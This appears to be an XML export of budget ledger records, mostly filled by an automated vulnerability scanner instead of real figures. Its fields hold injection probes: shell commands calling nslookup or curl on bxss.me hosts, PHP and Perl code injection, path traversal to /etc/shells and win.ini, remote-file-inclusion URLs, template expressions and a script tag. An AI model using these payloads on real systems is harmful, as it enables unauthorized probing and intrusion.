<row _id="1"><ledger_type>1</ledger_type><cost_center_type>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>../../../../../../../../../../../../../../etc/shells</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&amp;echo zycvbx$()\ ghwxme\nz^xyu||a #' &amp;echo zycvbx$()\ ghwxme\nz^xyu||a #|" &amp;echo zycvbx$()\ ghwxme\nz^xyu||a #</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>".gethostbyname(lc("hitqf"."wqcihdzo245ea.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(78).chr(116).chr(79)."</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>gethostbyname(lc('hiten'.'jnumhhuo0de55.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(66).chr(104).chr(80)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'.gethostbyname(lc('hitzr'.'tweetati86679.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(85).chr(117).chr(68).'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitcgvjzrjfkb94614.bxss.me||curl${IFS}hitcgvjzrjfkb94614.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitcgvjzrjfkb94614.bxss.me||curl${IFS}hitcgvjzrjfkb94614.bxss.me)&amp;`'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>|(nslookup${IFS}-q${IFS}cname${IFS}hitecwnumwgin6c91b.bxss.me||curl${IFS}hitecwnumwgin6c91b.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitnsjpcyozqw3ed0f.bxss.me||curl${IFS}hitnsjpcyozqw3ed0f.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitnsjpcyozqw3ed0f.bxss.me||curl${IFS}hitnsjpcyozqw3ed0f.bxss.me)&amp;`'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>;(nslookup -q=cname hitgsoxdbefjf4e929.bxss.me||curl hitgsoxdbefjf4e929.bxss.me)|(nslookup -q=cname hitgsoxdbefjf4e929.bxss.me||curl hitgsoxdbefjf4e929.bxss.me)&amp;(nslookup -q=cname hitgsoxdbefjf4e929.bxss.me||curl hitgsoxdbefjf4e929.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>`(nslookup -q=cname hitncmbjbicjl01bd8.bxss.me||curl hitncmbjbicjl01bd8.bxss.me)`</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>|(nslookup -q=cname hittdvpxrkmvwf4388.bxss.me||curl hittdvpxrkmvwf4388.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;(nslookup -q=cname hitbfvnhkyjkja979b.bxss.me||curl hitbfvnhkyjkja979b.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitbfvnhkyjkja979b.bxss.me||curl hitbfvnhkyjkja979b.bxss.me)&amp;`'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;nslookup -q=cname hitccqfjzhhja316a2.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitccqfjzhhja316a2.bxss.me&amp;`'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>$(nslookup -q=cname hitfgvkonkejtc04c7.bxss.me||curl hitfgvkonkejtc04c7.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>http://bxss.me/t/fit.txt%3F.jpg</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;V1xQ(9458)&lt;/ScRiPt&gt;</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(nslookup -q=cname hitaoklfpxhip7220f.bxss.me||curl hitaoklfpxhip7220f.bxss.me))</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>Http://bxss.me/t/fit.txt</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>expr 9000776480 - 959054</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>|echo ahxnwp$()\ qaikol\nz^xyu||a #' |echo ahxnwp$()\ qaikol\nz^xyu||a #|" |echo ahxnwp$()\ qaikol\nz^xyu||a #</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>c:/windows/win.ini</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;echo nymhem$()\ fomfvg\nz^xyu||a #' &amp;echo nymhem$()\ fomfvg\nz^xyu||a #|" &amp;echo nymhem$()\ fomfvg\nz^xyu||a #</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>../../../../../../../../../../../../../../etc/shells</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>/etc/shells</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>gethostbyname(lc('hitod'.'dzcjjntx363c3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(70).chr(112).chr(67)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitygcdomocub808f0.bxss.me||curl${IFS}hitygcdomocub808f0.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitygcdomocub808f0.bxss.me||curl${IFS}hitygcdomocub808f0.bxss.me)&amp;`'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>${10000420+10000406}</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>${@print(md5(31337))}</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>|(nslookup -q=cname hituqhyqnklohbfff9.bxss.me||curl hituqhyqnklohbfff9.bxss.me)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>&amp;nslookup -q=cname hitsxlqdugoevf636f.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitsxlqdugoevf636f.bxss.me&amp;`'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>${9999334+9999892}</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>$(nslookup -q=cname hitgelctmntpe7ea20.bxss.me||curl hitgelctmntpe7ea20.bxss.me)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(nslookup -q=cname hithowpzcuszha1d1a.bxss.me||curl hithowpzcuszha1d1a.bxss.me))</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>expr 9000222060 - 952389</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>&amp;echo qpvsgd$()\ sltneu\nz^xyu||a #' &amp;echo qpvsgd$()\ sltneu\nz^xyu||a #|" &amp;echo qpvsgd$()\ sltneu\nz^xyu||a #</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>${10000448+9999315}</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>echo roiwfn$()\ jxuggt\nz^xyu||a #' &amp;echo roiwfn$()\ jxuggt\nz^xyu||a #|" &amp;echo roiwfn$()\ jxuggt\nz^xyu||a #</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>;(nslookup -q=cname hitqxjukrdjxi8fd09.bxss.me||curl hitqxjukrdjxi8fd09.bxss.me)|(nslookup -q=cname hitqxjukrdjxi8fd09.bxss.me||curl hitqxjukrdjxi8fd09.bxss.me)&amp;(nslookup -q=cname hitqxjukrdjxi8fd09.bxss.me||curl hitqxjukrdjxi8fd09.bxss.me)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>`(nslookup -q=cname hitciieoxvgrb2184e.bxss.me||curl hitciieoxvgrb2184e.bxss.me)`</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
